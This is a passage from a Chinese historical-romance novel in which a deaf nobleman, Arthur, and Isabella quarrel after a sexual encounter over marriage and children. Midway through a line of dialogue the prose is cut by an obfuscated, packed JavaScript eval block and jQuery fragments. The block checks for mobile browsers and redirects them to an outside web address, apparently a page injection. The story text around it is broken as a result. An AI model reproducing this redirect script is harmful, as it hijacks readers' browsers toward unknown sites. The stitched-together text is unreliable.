亚瑟以为他早就知道了伊莎贝拉的脆弱。从她抵达阿尔斯顿庄园、在昏黄灯光下第一次触碰他的那一刻起，他便察觉了她藏在眼底的无助。那并非一时的情绪，而是一种几乎无法掩饰的本质，从她每一次试图靠近他的目光中，从他们之间每一次小心翼翼又突兀的身体接触中，都能读得一清二楚。


    他尝试着说服过自己，他可以承受这一切。他可以在孤独的时候接纳她的拥抱，在深夜沉溺于两人之间那份危险却真实的依恋，然后在黎明来临之前，将这一切藏匿进心底，不留下伤害。可是现在，他再无法欺骗自己。


    他看着她，看着她在那场炽热之后落入沉默中的背影。他的指尖仍在微微颤抖，那不是快感的余韵，而是愤怒——更确切地说，是一种隐忍到极致的背叛感。


    原来她一直在试图引他入局。他终于明白了这一点。她想要用身体作为武器，用他们之间的情欲、他的渴望去牵制他。甚至不惜冒着可能怀孕的风险，把责任的重担毫不犹豫地抛给他——让他不得不面对娶她、建立家庭的选择。那是她的赌注，也是她的迫切。


    “为什么？”他终于艰难地打出了这个词。他的双手因为情绪而抖得厉害，动作急促且失控，连他自己都担心她是否还能读懂。


    她没有回答。她维持着刚才的姿势，几乎一动不动，只是缓缓地转过脸，避开了他的目光，仿佛想要用沉默为这一切开脱。


    可他偏偏靠近她，捧起她的下巴，强迫她抬起了头来。他的动作很轻，却很坚定。他不允许她逃避——他想要答案，哪怕那个答案会彻底摧毁他。


    “伊莎贝拉。”他用手语缓慢地、一字一句地比划，“你为什么要这么做？”


    她的眼泪在眼眶中打转了半天，终究没能控制住，缓缓地流了下来。


    “我爱你。”她终于说出口，声音哑得几乎破碎。


    那三个字比任何指责都更让他难以承受。他像被雷击中般退了一步，眼神惶惑，手一抖，像是想挣脱那句话的束缚。


    “不要。”他比划得很快，手语生硬而强烈。


    她像是被击打了一记耳光，倏然坐起身，从被单下挣脱出来。她的眼泪滑落得更快了，脸上却写满了愤怒。


    “为什么？”伊莎贝拉声音颤抖，“只是因为我说出了我的感受？你明知道我一直爱着你，可为什么一旦说出口，就会让一切都变得无法回头？当年是这样，现在还是这样？你为什么就是不愿意接受？为什么就是要让我们两个人都这么痛苦？”


    “因为我不能！”他猛地比划，脚步不稳地站起身来。


    她转过身去，抓起丢在地上的礼服，一边费力地往身上套，一边哭得几乎无法呼吸：“你可以的，如果你愿意，你就可以，如果你敢的话，可你是个胆小鬼！你明明就爱我！”


    他走上前去，伸手抓住她的手臂，将她从椅边拉了起来。


    “我确实是个胆小鬼，所以你要强迫我吗？”他单手比划，眼神灼热。


    她用力挣脱了他的手，几近崩溃：“我知道那不对……我知道。”


    她的声音低了下来，带着悔意。


    “当我有了那个念头时，我就知道它简直错得离谱……但……但我还是做了。我很抱歉，亚瑟，我真的很抱歉……”


    他的怒意渐渐散去。她说她爱他，那句话像利刃一样扎进他心里。他看着她，看着那层伪装下的所有痛苦与绝望——还有她执着的希望。那希望是他不能回应的温柔，是她想象中的未来，温暖、光明、平凡却完整。


    “你知道我在想象你说的那种未来时，我在想什么吗？”他比划。


    她抬起头，眼中微光闪动，呼吸都凝住了。


    “你……你也曾经想过？”


    “当然。”他点头，“十次，一百次。”


    他顿了顿，又长长地叹了口气。


    “在最开始的那一段时间里，我们非常幸福，非常快乐，直到终于有一天，你厌倦了我们经常只能躲在乡下，而那些流言蜚语也开始不再让你愤怒，而是让你感到十分羞耻。”


    她张口结舌：“你，你竟以为我会在乎那些人说什么？你以为我会在意——”


    “即使是我的舅舅。”他用一个手势打断了她，手速快得近乎冲动，“连他，有时都承受不住那些注视。当人们用怜悯的语气问起我身体的状况时，他也会低头。”


    他转过脸，手语逐渐缓慢而沉重：“我不敢想，这对你来说，会有多不同。”


    “我从没见他对你表现出除了深沉的爱之外的感情。”她说，声音带着哽咽，“我不能替他发言，但我可以说出我自己的心声。我爱你。从来都只爱你。这份感情从未动摇过，它是我身体的一部分，像我的手，像我的眼睛，你明白吗？”


    “如果你知道我不想要任何孩子。”他缓缓地比划，眼神黯淡，“你还会这么说吗？”


    闻言，她的神情骤然变了。


    “如果我让我的……进入了你的身体，然后我娶你为妻，却没有孩子出生。如果我因那结果感到如释重负，而不是悲伤，你会不会感到十分受伤？当我拒绝给你一个做母亲的机会时，你会不会开始恨我？”


    她愣在那里，沉默。他能看到她在挣扎，试图理解，却根本无法真正感同身受。他的恐惧，她根本无法想象。


    “为什么？”她终于问出口了，声音很轻，却带着真实的痛苦，好在他永远也听不见。


    “为什么你要拒绝拥有继承人……拒绝拥有一个你能爱、能教导的孩子？”


    他低下头，闭上眼睛，像是在回避。


    他能想象那些孩子——一个有她笑容的小女孩，一个有她眼睛的小男孩。那将会是多么美好的生命啊……


    但……


    他重新抬起头，用手语认真地比划：“我不想让任何人，尤其是我爱的人，过我所过的生活。”


    他的每一个动作都像在剜自己的肉。那些字在空中划出悲伤的轨迹，像鞭子一样劈开两人之间仅剩的联结。


    她呆呆地站着，眼神终于改变了。他看到她终于明白了。终于看到了他隐藏在沉默和冷静之下的那层、最深的痛苦。


    她愣愣道：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068504|179189||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你是说……你担心我们的孩子有可能会像你？”


    一提到孩子，她就感到一阵心痛。即便没有嫁给自己所爱的人，她也一直想要至少两个孩子，好让她一潭死水般的婚姻变得有意义。一个男孩，一个所有人都在盼望着的儿子，将会作为继承人培养，而一个小女孩，是她真正想要的，她会爱如性命。


    可直到最后，她体内那贫瘠的土壤也没有履行它应尽的职责。


    她按下心中所有的痛苦，嘴唇颤抖，继续开口：“你……你有没有想过，我九年都没有生育，也许我根本就没有做母亲的机会，也许我……”


    “我不能去冒这个险。”他打着手语，动作激烈到几乎颤抖，“我……我不会毁了他们的生活，不会毁了你的，尤其是你的，你明白吗？哪怕只是可能性，我也不能接受。不会结婚，不会生孩子。”


    她望着他，泪水静静地流下，不是因为被拒绝，而是因为终于读懂了他的世界。


    而他，却一点也高兴不起来。


    因为他终于让她也看到了他眼中的未来——那个满是恐惧、孤独、痛苦的未来。他以为这是胜利，但这一刻，他却感到彻底的、无可回避的悲哀。


    “所以，你要离开吗？”她终于问道。


    可他许久许久没有回答。


    “我来帮你穿衣服吧。”


    最后，他只是如此向她提议。


    她犹豫了一会儿，然后乖乖地背对着他，让他为她服务，可在她心中只感觉到她正在以一种更永久的方式转身离开。他扣上她的衣服，手指笨拙，他的身体太清楚她了。他的思想也太清楚他所造成的痛苦了。


    当她的衣服被穿好，她再次面对他。她似乎在等什么，但他不知道。


    他只是低下了头，穿好裤子，一颗一颗地系上扣子，动作迟缓而沉重，仿佛每一个动作都比前一秒更艰难。他的衬衫被随意地丢在了床尾，已经皱得不像样了。他伸手去拿的时候，指尖蹭过她裙摆的一角，她却没有动，只是看着他。她依旧坐在床上，长发散乱地垂落在肩头，眼神定定地追随着他的动作，却一言不发。


    他感受到她的目光灼热如炭，像是想在他每一个动作中找寻意义，找寻温情或怜悯，但他的身体只是机械地动作着，仿佛是另一个人的身体。衬衫被拎起，掸了掸灰，他将衣摆甩开，笨拙地将它套回头上。领口擦过他发热的脸颊，带来一阵轻微的刺痛。他感到汗水还未干透，贴在后背上，而她的沉默，则如一整面冰墙，静静矗立在他们之间。


    当他系好最后一个扣子时，他知道，他应该找一句话填补这沉默，别那么像个混蛋，却什么也说不出口。他不知道她在等什么，是一个吻？一个解释？一个承诺？还是——一个道别？


    她的唇微张，但终究什么也没有说。那一刻，他们之间空无一物，却仿佛有千万种情绪在空气中游移，欲言又止。


    就在这令人窒息的静止中，门被敲响了。


    声音干脆而有礼，仿佛刻意挑在他们无法承受的这一刻，将现实敲进来。她猛地垂下视线，像是从梦中惊醒。